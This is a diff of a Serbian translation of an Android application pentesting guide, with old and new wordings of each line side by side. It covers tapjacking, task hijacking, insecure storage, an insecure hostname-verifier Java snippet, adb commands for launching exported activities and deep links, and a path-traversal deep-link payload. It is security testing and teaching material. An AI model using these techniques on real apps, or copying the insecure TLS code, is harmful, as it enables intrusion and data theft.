**Tapjacking** je napad u kome se pokrene zlonamerna aplikacija i postavi iznad ciljne aplikacije. Kada vizuelno zakloni ciljnu aplikaciju, njen korisnički interfejs je dizajniran tako da prevari korisnika da interaguje sa njim, dok se interakcija prosleđuje ciljnoj aplikaciji.\
U suštini, to je **oslepljivanje korisnika tako da ne zna da zapravo izvršava radnje u ciljnoj aplikaciji**.
**Tapjacking** je napad gde se **zlonamerna** **aplikacija** pokreće i **pozicionira iznad žrtvine aplikacije**. Kada vizuelno zaseni žrtvinu aplikaciju, njen UI je dizajniran tako da prevari korisnika da interaguje sa njom, dok se ta interakcija prosleđuje žrtvinoj aplikaciji.\
U efektu, to **slepi korisnika da zna da zapravo izvodi akcije u žrtvinoj aplikaciji**.
Find more information in:
Više informacija pronađite u:
{{#ref}}
@ -104,110 +104,110 @@ tapjacking.md
### Task Hijacking
An **activity** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na Task Hijacking. To znači da se može instalirati zlonamerna aplikacija koja, ako se pokrene pre prave aplikacije, može preuzeti task prave aplikacije (tako da će korisnik interagovati sa zlonamernom aplikacijom misleći da koristi pravu).
Activity sa `launchMode` podešenim na `singleTask` bez definisanog `taskAffinity` je ranjiva na task Hijacking. To znači da se **maliciozna aplikacija** može instalirati i, ako se pokrene pre prave aplikacije, može **oteti task prave aplikacije** (tako da će korisnik interagovati sa **malicioznom aplikacijom misleći da koristi pravu**).
More info in:
Više informacija u:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### Insecure data storage
### Nesigurno skladištenje podataka
**Internal Storage**
U Androidu, fajlovi smešteni u internal storage su dizajnirani da budu dostupni isključivo aplikaciji koja ih je kreirala. Ova mera bezbednosti se sprovodi od strane Android operativnog sistema i generalno je dovoljna za bezbednosne potrebe većine aplikacija. Međutim, programeri ponekad koriste režime kao što su `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da bi dozvolili deljenje fajlova među različitim aplikacijama. Ipak, ovi režimi ne ograničavaju pristup tim fajlovima drugim aplikacijama, uključujući potencijalno zlonamerne.
U Androidu, fajlovi **smešteni** u **internal** storage su dizajnirani da budu dostupni isključivo aplikaciji koja ih je **kreirala**. Ova mera sigurnosti se **sprovodi** od strane Android OS-a i obično je dovoljna za potrebe većine aplikacija. Međutim, developeri ponekad koriste režime poput `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` da bi **dozvolili** deljenje fajlova između različitih aplikacija. Ipak, ovi režimi **ne ograničavaju pristup** tim fajlovima od strane drugih aplikacija, uključujući potencijalno maliciozne.
1. **Static Analysis:**
- **Proverite** da li se upotreba `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` pažljivo analizira. Ovi režimi **mogu potencijalno izložiti** fajlove neželjenom ili neovlašćenom pristupu.
- **Proverite** da li je upotreba `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` **pažljivo ispitana**. Ovi režimi **mogu potencijalno izložiti** fajlove neželjenom ili neautorizovanom pristupu.
2. **Dynamic Analysis:**
- **Proverite** permisije dodeljene fajlovima koje aplikacija kreira. Konkretno, **proverite** da li su neki fajlovi **postavljeni da budu readable ili writable worldwide**. To može predstavljati značajan bezbednosni rizik, jer bi omogućilo **svakoj aplikaciji** instaliranoj na uređaju, bez obzira na poreklo ili nameru, da **čitа ili menja** te fajlove.
- **Verifikujte** permisije postavljene na fajlovima koje aplikacija kreira. Konkretno, **proverite** da li su neki fajlovi **postavljeni da budu čitljivi ili pisljivi svima**. Ovo može predstavljati značajan sigurnosni rizik, jer bi omogućilo **svakoj aplikaciji** instaliranoj na uređaju, bez obzira na poreklo ili nameru, da **čita ili menja** te fajlove.
**External Storage**
Kada je reč o fajlovima na external storage, kao što su SD kartice, treba preduzeti određene mere opreza:
Kada je reč o fajlovima na **external storage**, kao što su SD kartice, treba preduzeti određene mere opreza:
1. **Accessibility**:
- Fajlovi na external storage su globalno readable i writable. To znači da svaka aplikacija ili korisnik može pristupiti tim fajlovima.
2. **Security Concerns**:
- S obzirom na jednostavnost pristupa, preporučuje se **ne čuvati osetljive informacije** na external storage.
- External storage može biti uklonjen ili mu može pristupiti bilo koja aplikacija, što ga čini manje bezbednim.
3. **Handling Data from External Storage**:
- Uvek **izvršite validaciju unosa** podataka preuzetih sa external storage. Ovo je presudno jer podaci dolaze iz nepoverljivog izvora.
1. **Pristupačnost**:
- Fajlovi na external storage su **globalno čitljivi i pisljivi**. To znači da bilo koja aplikacija ili korisnik može pristupiti tim fajlovima.
2. **Bezbednosne brige**:
- S obzirom na lakoću pristupa, ne preporučuje se čuvanje osetljivih informacija na external storage.
- External storage može biti uklonjen ili mu može pristupiti bilo koja aplikacija, što ga čini manje sigurnim.
3. **Rukovanje podacima sa external storage**:
- Uvek **vršite validaciju unosa** na podacima dohvaćenim sa external storage. To je ključno jer podaci dolaze iz nepouzdanog izvora.
- Ne preporučuje se čuvanje izvršnih fajlova ili class fajlova na external storage za dinamičko učitavanje.
- Ako vaša aplikacija mora da preuzme izvršne fajlove sa external storage, osigurajte da su ti fajlovi **potpisani i kriptografski verifikovani** pre nego što se dinamički učitaju. Ovaj korak je ključan za održavanje bezbednosnog integriteta vaše aplikacije.
- Ako aplikacija mora da učita izvršne fajlove sa external storage, osigurajte da su ti fajlovi **potpisani i kriptografski verifikovani** pre dinamičkog učitavanja. Ovaj korak je vitalan za očuvanje sigurnosnog integriteta aplikacije.
External storage može biti accessed u `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
External storage može se **pristupiti** u `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
> [!TIP]
> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja ograničava pristup aplikacije samo na direktorijum specifičan za tu aplikaciju. Ovo sprečava zlonamerne aplikacije da dobiju read ili write pristup fajlovima druge aplikacije.
> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup iz aplikacije samo na direktorijum koji je specifičan za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da stekne read ili write pristup fajlovima druge aplikacije.
**Sensitive data stored in clear-text**
**Osetljivi podaci uskladišteni u čistom tekstu**
- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml fajlove na putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće pronaći osetljive informacije u clear-text u tom folderu.
- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite databases na putanji `/data/data/<packagename>/databases/` i ponekad je moguće pronaći osetljive informacije u clear-text u tom folderu.
- **Shared preferences**: Android omogućava svakoj aplikaciji da lako sačuva xml fajlove u putanji `/data/data/<packagename>/shared_prefs/` i ponekad je moguće naći osetljive informacije u čistom tekstu u tom folderu.
- **Databases**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze u putanji `/data/data/<packagename>/databases/` i ponekad je moguće naći osetljive informacije u čistom tekstu u tom folderu.
### Broken TLS
**Accept All Certificates**
Iz nekog razloga ponekad developeri prihvataju sve sertifikate čak i ako, na primer, hostname ne odgovara, sa linijama koda poput sledeće:
Iz nekog razloga, ponekad developeri prihvataju sve sertifikate čak i kada, na primer, hostname ne odgovara, sa linijama koda kao što su sledeće:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Dobar način da se ovo testira je pokušati presresti saobraćaj koristeći neki proxy poput Burp bez autorizovanja Burp CA unutar uređaja. Takođe, možete sa Burp-om generisati sertifikat za drugačiji hostname i koristiti ga.
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### Pokvarena kriptografija
### Neispravna kriptografija
**Loši procesi upravljanja ključevima**
Neki developeri čuvaju osetljive podatke u lokalnoj memoriji i enkriptuju ih ključem hardcoded/predictable u kodu. To se ne bi smelo raditi, jer reversing može omogućiti napadačima da izvuku poverljive informacije.
Neki developeri čuvaju osetljive podatke u lokalnoj memoriji i kriptuju ih ključem hardkodiranim/predvidljivim u kodu. Ovo ne bi trebalo raditi jer bi reverzovanje moglo omogućiti napadačima da izvuku poverljive informacije.
**Korišćenje nesigurnih i/ili zastarelih algoritama**
Developeri ne bi trebalo da koriste **deprecated algorithms** za izvršavanje autorizacionih **checks**, za **store** ili **send** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hashes** koriste za čuvanje lozinki, treba koristiti hash-e otporne na brute-force i sa salt-om.
Developeri ne bi trebalo da koriste **deprecated algorithms** za izvršavanje autorizacionih **checks**, **store** ili **send** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se koriste **hashes** za skladištenje lozinki na primer, treba koristiti hashove otporne na brute-force uz salt.
### Ostale provere
- Preporučuje se da **obfuscate the APK** kako biste otežali posao reverse engineer-a napadačima.
- Ako je aplikacija osetljiva (npr. bankarske aplikacije), treba da izvrši svoje provere da li je mobilni uređaj root-ovan i postupi u skladu s tim.
- Ako je aplikacija osetljiva (npr. bankarske aplikacije), treba da proveri da li se koristi **emulator**.
- Ako je aplikacija osetljiva (npr. bankarske aplikacije), treba da proveri sopstveni integritet pre izvršavanja kako bi utvrdila da li je bila modifikovana.
- Preporučuje se da **obfuscate the APK** kako bi se otežao posao reverse engineer-ima.
- Ako je aplikacija osetljiva (kao bank apps), treba da izvodi svoje provere da li je mobilni rooted i da postupi u skladu s tim.
- Ako je aplikacija osetljiva (kao bank apps), treba da proveri da li se koristi **emulator**.
- Ako je aplikacija osetljiva (kao bank apps), treba da **check it's own integrity before executing** kako bi proverila da li je modifikovana.
- Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji compiler/packer/obfuscator je korišćen za izgradnju APK-a
### React Native Application
### React Native aplikacija
Pročitajte sledeću stranicu da biste naučili kako lako pristupiti javascript kodu React aplikacija:
Pročitajte sledeću stranu da naučite kako lako pristupiti javascript kodu React aplikacija:
{{#ref}}
react-native-application.md
{{#endref}}
### Xamarin Applications
### Xamarin aplikacije
Pročitajte sledeću stranicu da biste naučili kako lako pristupiti C# kodu Xamarin aplikacija:
Pročitajte sledeću stranu da naučite kako lako pristupiti C# kodu xamarin aplikacija:
{{#ref}}
../xamarin-apps.md
{{#endref}}
### Superpacked Applications
### Superpacked aplikacije
Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked je Meta algoritam koji kompresuje sadržaj aplikacije u jednu datoteku. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ove tipove aplikacija... i o bržem pristupu koji uključuje da **execute the application and gather the decompressed files from the filesystem.**
Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked je Meta algoritam koji kompresuje sadržaj aplikacije u jednu datoteku. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve aplikacije... i bržem načinu koji podrazumeva **pokretanje aplikacije i prikupljanje dekompresovanih fajlova iz fajl sistema.**
### Automatizovana statička analiza koda
Alat [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposoban da pronađe **vulnerabilities** skeniranjem **code** aplikacije. Ovaj alat sadrži niz **known sources** (koji ukazuju na mesta gde je **input** kontrolisan od strane korisnika), **sinks** (koji ukazuju na opasna mesta gde maliciozni unos korisnika može izazvati štetu) i **rules**. Ove rules ukazuju na **kombinaciju** **sources-sinks** koja označava ranjivost.
Alat [**mariana-trench**](https://github.com/facebook/mariana-trench) je sposoban da pronađe **vulnerabilities** skeniranjem **code** aplikacije. Ovaj alat sadrži niz **known sources** (koji ukazuju alatu **places** gde je **input** **controlled by the user**), **sinks** (koji ukazuju alatu na **dangerous** **places** gde maliciozan korisnički unos može prouzrokovati štetu) i **rules**. Ove rules ukazuju na **combination** of **sources-sinks** koja označava ranjivost.
Sa ovim znanjem, **mariana-trench će pregledati kod i pronaći moguće vulnerabilities u njemu**.
Sa ovim znanjem, **mariana-trench će pregledati kod i pronaći moguće ranjivosti u njemu**.
### Secrets leaked
Aplikacija može da sadrži secrets (API keys, passwords, hidden urls, subdomains...) u sebi koje možete otkriti. Možete koristiti alat kao što je [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Aplikacija može sadržati secrets (API keys, passwords, hidden urls, subdomains...) unutar nje koje možete otkriti. Možete koristiti alat kao što je [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -216,7 +216,7 @@ Aplikacija može da sadrži secrets (API keys, passwords, hidden urls, subdomain
bypass-biometric-authentication-android.md
{{#endref}}
### Ostale interesantne funkcije
### Druge interesantne funkcije
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
@ -236,13 +236,13 @@ content-protocol.md
## Dinamička analiza
> Prvo, potrebna vam je okolina u kojoj možete instalirati aplikaciju i celu okolinu (Burp CA cert, Drozer i Frida pre svega). Stoga, root-ovan uređaj (emuliran ili ne) je toplo preporučen.
> Pre svega, potrebno je okruženje gde možete instalirati aplikaciju i sve komponente okruženja (Burp CA cert, Drozer i Frida pre svega). Stoga se toplo preporučuje rooted uređaj (emuliran ili ne).
### Online dinamička analiza
Možete napraviti besplatan nalog na: [https://appetize.io/](https://appetize.io). Ova platforma omogućava da **upload** i **execute** APK-ove, pa je korisna da vidite kako se APK ponaša.
Možete napraviti **free account** na: [https://appetize.io/](https://appetize.io). Ova platforma omogućava da **upload** i **execute** APK-e, pa je korisna da vidite kako se apk ponaša.
Možete čak i **videti logove vaše aplikacije** na webu i povezati se preko **adb**.
Možete čak **videti logove vaše aplikacije** na webu i povezati se preko **adb**.
![](<../../images/image (831).png>)
@ -252,7 +252,7 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
#### Korišćenje emulatora
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, i prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnovije x86** verzije **support ARM libraries** bez potrebe za sporim arm emulatorom).
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, i prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **novije x86** verzije **podržavaju ARM biblioteke** bez potrebe za sporim ARM emulatorom).
- Naučite kako da ga podesite na ovoj strani:
@ -260,89 +260,87 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, potrebno je kreirati nalog. _Preporučuje se da **download** verziju **WITH**_ _**VirtualBox** da biste izbegli potencijalne greške._)
- [**Nox**](https://es.bignox.com) (Besplatan, ali ne podržava Frida ili Drozer).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, potrebno je napraviti nalog. _Preporučeno je da **download** verziju **WITH** _**VirtualBox** da bi se izbegle potencijalne greške._)
- [**Nox**](https://es.bignox.com) (Free, ali ne podržava Frida ili Drozer).
> [!TIP]
> Kada kreirate novi emulator na bilo kojoj platformi imajte na umu da što je ekran veći, emulator će raditi sporije. Zato birajte male ekrane ako je moguće.
> Kada kreirate novi emulator na bilo kojoj platformi zapamtite da veći ekran usporava emulatore. Zato izaberite male ekrane ako je moguće.
Da biste **install google services** (kao AppStore) u Genymotion potrebno je da kliknete na crveno označeno dugme na sledećoj slici:
Da biste **install google services** (kao AppStore) u Genymotion, potrebno je da kliknete na crveno označeno dugme na sledećoj slici:
![](<../../images/image (277).png>)
Takođe, obratite pažnju da u **konfiguraciji Android VM-a u Genymotion-u** možete izabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati na Android VM iz druge VM sa alatima).
Takođe, obratite pažnju da u **konfiguraciji Android VM-a u Genymotion-u** možete izabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati na Android VM sa drugog VM-a sa alatima).
#### Korišćenje fizičkog uređaja
Treba da aktivirate **debugging** opcije i bilo bi dobro da možete da ga **root**-ujete:
Potrebno je aktivirati **debugging** opcije i poželjno je da možete **root** uređaj:
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
2. (FromAndroid 8.0) Izaberite **System**.
3. Izaberite **About phone**.
4. Pritisnite **Build number** 7 puta.
5. Vratite se i naći ćete **Developer options**.
> Kada instalirate aplikaciju, prvo što treba da uradite je da je probate i istražite šta radi, kako funkcioniše i da se upoznate sa njom.\
> Predlažem da **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, tako da ćemo moći da **learn how the application works** dok MobSF **captures** puno **interesting** **data** koje možete kasnije pregledati.
> Kada instalirate aplikaciju, prvo što treba da uradite je da je probate, istražite šta radi, kako funkcioniše i da se naviknete na nju.\
> Predlažem da **obavite ovu početnu dinamičku analizu koristeći MobSF dynamic analysis + pidcat**, tako ćemo moći da **naučimo kako aplikacija radi** dok MobSF **hvata** mnogo **interesantnih** **podataka** koje možete kasnije pregledati.
Magisk/Zygisk kratke napomene (preporučeno na Pixel uređajima)
- Patch-ujte boot.img uz pomoć Magisk aplikacije i flash-ujte preko fastboot-a da biste dobili systemless root
Magisk/Zygisk kratke beleške (preporučeno na Pixel uređajima)
- Patch-ujte boot.img pomoću Magisk aplikacije i flash-ujte preko fastboot-a da dobijete systemless root
- Omogućite Zygisk + DenyList za skrivanje root-a; razmotrite LSPosed/Shamiko kada je potrebno jače skrivanje
- Sačuvajte originalni boot.img da biste se oporavili posle OTA nadogradnji; ponovo patch-ujte posle svake OTA
- Za deljenje ekrana, koristite scrcpy na hostu
- Sačuvajte originalni boot.img za oporavak posle OTA update-a; ponovo patch-ujte posle svakog OTA
- Za screen mirroring koristite scrcpy na hostu
### Nenamerna curenja podataka
### Neplanirano curenje podataka
**Logovanje**
Developeri treba da budu oprezni da ne izlažu **debugging information** javno, jer to može dovesti do curenja osetljivih podataka. Alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` se preporučuju za praćenje logova aplikacije kako biste identifikovali i zaštitili osetljive informacije. **Pidcat** je omiljen zbog jednostavnosti korišćenja i čitljivosti.
Developeri treba da budu oprezni u izlaganju **debugging information** javno, jer to može dovesti do curenja osetljivih podataka. Preporučeni alati za praćenje logova aplikacije radi identifikacije i zaštite osetljivih informacija su [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat`. **Pidcat** se preferira zbog jednostavnosti upotrebe i preglednosti.
> [!WARNING]
> Imajte na umu da od **novijih verzija nakon Android 4.0**, **aplikacije mogu pristupiti samo svojim sopstvenim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
> U svakom slučaju, još uvek je preporučljivo **ne logovati osetljive informacije**.
> Imajte na umu da od **novijih verzija Android-a nakon 4.0**, **applications mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
> U svakom slučaju, i dalje se preporučuje da **ne logujete osetljive informacije**.
**Keširanje copy/paste buffera**
**Copy/Paste Buffer Caching**
Android-ov **clipboard-based** okvir omogućava copy-paste funkcionalnost u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **access** clipboard, potencijalno izlažući osetljive podatke. Važno je **disable** copy/paste funkcije za osetljive delove aplikacije, kao što su podaci o kreditnim karticama, kako bi se sprečilo leak podataka.
Android-ov **clipboard-based** framework omogućava funkcionalnost copy-paste u aplikacijama, ali predstavlja rizik jer **other applications** mogu **access** clipboard i time potencijalno otkriti osetljive podatke. Važno je **onemogućiti copy/paste** funkcije za osetljive delove aplikacije, poput podataka o platnim karticama, kako bi se sprečilo curenje podataka.
**Crash Logs**
Ako aplikacija **crashes** i **saves logs**, ti logovi mogu pomoći napadačima, posebno kada aplikacija ne može biti reverse-engineer-ovana. Da biste umanjili ovaj rizik, izbegavajte logovanje pri padovima, a ako logovi moraju biti poslati preko mreže, osigurajte da se šalju putem SSL kanala.
Ako aplikacija **crashes** i **saves logs**, ti logovi mogu pomoći napadačima, posebno kada aplikacija ne može da se reverzuje. Da biste smanjili ovaj rizik, izbegavajte logovanje prilikom crash-a, a ako logovi moraju biti poslati preko mreže, obezbedite da se šalju preko SSL kanala.
Kao pentester, pokušajte da pogledate ove logove.
Kao pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
Aplikacije često integrišu servise poput Google Adsense, koji mogu nenamerno leak sensitive data zbog pogrešne implementacije developera. Da biste identifikovali potencijalno curenje podataka, preporučljivo je da **intercept** saobraćaj aplikacije i proverite da li se bilo kakve osetljive informacije šalju ka third-party servisima.
Aplikacije često integrišu servise kao što je Google Adsense, što može slučajno dovesti do **leak** osetljivih podataka zbog nepravilne implementacije od strane developera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **intercept** saobraćaj aplikacije i proverite da li se osetljivi podaci šalju trećim stranama.
### SQLite DBs
Većina aplikacija koristi **internal SQLite databases** za čuvanje informacija. Tokom pentest-a pregledajte **databases** koje su kreirane, nazive **tables** i **columns** i sve sačuvane **data** jer možete naći osetljive informacije (što bi predstavljalo vulnerability).\
Baze bi trebalo da se nalaze u `/data/data/the.package.name/databases` kao na primer `/data/data/com.mwr.example.sieve/databases`
Većina aplikacija koristi **internal SQLite databases** za čuvanje informacija. Tokom pentesta pregledajte **databases** koje su kreirane, imena **tables** i **columns** i sve **data** u njima jer možete pronaći **sensitive information** (što bi predstavljalo ranjivost).\
Baze bi trebalo da se nalaze u `/data/data/the.package.name/databases` kao npr. `/data/data/com.mwr.example.sieve/databases`
Ako baza čuva poverljive informacije i **encrypted** je, ali možete **find** **password** unutar aplikacije, to je i dalje **vulnerability**.
Ako baza čuva poverljive informacije i **encrypted** je, ali možete **find** **password** unutar aplikacije, i dalje je to **vulnerability**.
Nabrojite tabele koristeći `.tables` i nabrojite kolone tabele koristeći `.schema <table_name>`
Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services)
Prema [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **assume the role of an Android app** i da interagujete sa drugim aplikacijama. Može uraditi **bilo šta što instalirana aplikacija može**, kao što je korišćenje Android-ovog Inter-Process Communication (IPC) mehanizma i interakcija sa osnovnim operativnim sistemom.\
Prema [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **assume the role of an Android app** i komunicirate sa drugim aplikacijama. Može uraditi **anything that an installed application can do**, kao što je korišćenje Android-ovog Inter-Process Communication (IPC) mehanizma i interakcija sa osnovnim operativnim sistemom.\
Drozer je koristan alat za **exploit exported activities, exported services and Content Providers** kao što ćete naučiti u narednim sekcijama.
### Exploiting exported Activities
### Eksploatacija exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Takođe zapamtite da kod aktivnosti počinje u **`onCreate`** metodi.
Takođe zapamtite da kod jedne activity počinje u **`onCreate`** metodi.
**Authorisation bypass**
Kada je Activity exported, možete pozvati njen ekran iz eksterne aplikacije. Dakle, ako je aktivnost sa **senzitivnim informacijama** **exported**, možete **bypass** **authentication** mehanizme kako biste joj pristupili.
Kada je Activity exported, možete pozvati njegov ekran iz eksternе aplikacije. Dakle, ako je activity sa **sensitive information** exported, možete **bypass** **authentication** mehanizme da biste mu pristupili.
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
Takođe možete pokrenuti exported activity iz adb-a:
Takođe možete startovati exported activity preko adb:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
@ -352,104 +350,102 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
> [!TIP]
> Imajte na umu da authorisation bypass nije uvek ranjivost; to zavisi od načina na koji bypass radi i koje informacije su izložene.
> Imajte na umu da authorisation bypass nije uvek ranjivost; zavisi od toga kako bypass funkcioniše i koje informacije su izložene.
**Sensitive information leakage**
**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage.
Activities mogu takođe da vraćaju rezultate. Ako uspete da pronađete exported i unprotected activity koja poziva metod **`setResult`** i **returning sensitive information**, postoji sensitive information leakage.
#### Tapjacking
If Tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
Ako Tapjacking nije sprečen, možete zloupotrebiti exported activity da naterate korisnika da izvrši **neočekivane akcije**. Za više informacija o [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.
Content providers se uglavnom koriste za **deljenje podataka**. Ako aplikacija ima dostupne Content providers, možda ćete moći da **extract sensitive** podatke iz njih. Takođe je korisno testirati moguće **SQL injections** i **Path Traversals**, jer oni mogu biti ranjivi.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Remember that a the actions of a Service start in the method `onStartCommand`.
Zapamtite da radnje Service-a počinju u metodu `onStartCommand`.
Service je u suštini nešto što **može primati podatke**, **procesuirati** ih i **vraća** (ili ne) odgovor. Dakle, ako aplikacija izlaže neke servise trebalo bi da **proverite** **kod** da biste razumeli šta radi i **testirate** ga **dinamički** radi ekstrakcije poverljivih informacija, zaobilaženja mera autentifikacije...\
Service je u osnovi nešto što može da primi podatke, obradi ih i vrati (ili ne) odgovor. Dakle, ako aplikacija export-uje neke servise, trebalo bi da pregledate kod da biste razumeli šta radi i da ga testirate dinamički kako biste izvukli poverljive informacije, zaobišli mere autentifikacije...\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Remember that a the actions of a Broadcast Receiver start in the method `onReceive`.
Zapamtite da radnje Broadcast Receiver-a počinju u metodu `onReceive`.
A broadcast receiver will be waiting for a type of message. Depending on how the receiver handles the message it could be vulnerable.\
Broadcast receiver će čekati određenu vrstu poruke. U zavisnosti od toga kako receiver rukuje porukom, može biti ranjiv.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
You can **open** a declared **scheme** using **adb** or a **browser**:
Možete potražiti deep links ručno, koristeći alate kao MobSF ili skripte kao [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Možete otvoriti deklarisani scheme koristeći **adb** ili **browser**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Napomena: možete **izostaviti naziv paketa**, i mobilni će automatski pozvati aplikaciju koja treba da otvori taj link._
_Imajte na umu da možete **izostaviti naziv paketa** i mobilni će automatski pozvati aplikaciju koja treba da otvori taj link._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**Kod koji će se izvršiti**
**Kod koji će biti izvršen**
Da biste pronašli **kod koji će se izvršiti u App**, idite na aktivnost koju poziva deeplink i potražite funkciju **`onNewIntent`**.
Da biste pronašli **kod koji će biti izvršen u App**, idite na aktivnost koju poziva deeplink i potražite funkciju **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Osetljive informacije**
Svaki put kada nađeš deep link, proveri da li **ne prima osetljive podatke (npr. lozinke) preko URL parametara**, jer bilo koja druga aplikacija može **imitiirati deep link i ukrasti te podatke!**
Svaki put kada pronađete deep link, proverite da li **ne prima osetljive podatke (poput lozinki) putem URL parametara**, jer bilo koja druga aplikacija može **lažno da se predstavi kao taj deep link i ukrade te podatke!**
**Parametri u putanji**
Treba da proveriš i da li neki deep link koristi parametar unutar putanje URL-a kao što je: `https://api.example.com/v1/users/{username}`, u tom slučaju možeš forsirati path traversal pristupom nečemu poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Napomena da ako pronađeš tačne endpoint-e unutar aplikacije možeš izazvati **Open Redirect** (ako se deo putanje koristi kao domain name), **account takeover** (ako možeš izmeniti korisničke podatke bez CSRF tokena i ranjivi endpoint koristi odgovarajuću metodu) i bilo koju drugu vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
Obavezno proverite i da li neki deep link koristi parametar unutar putanje URL-a, npr.: `https://api.example.com/v1/users/{username}` , u tom slučaju možete forsirati path traversal pristupom nečemu poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
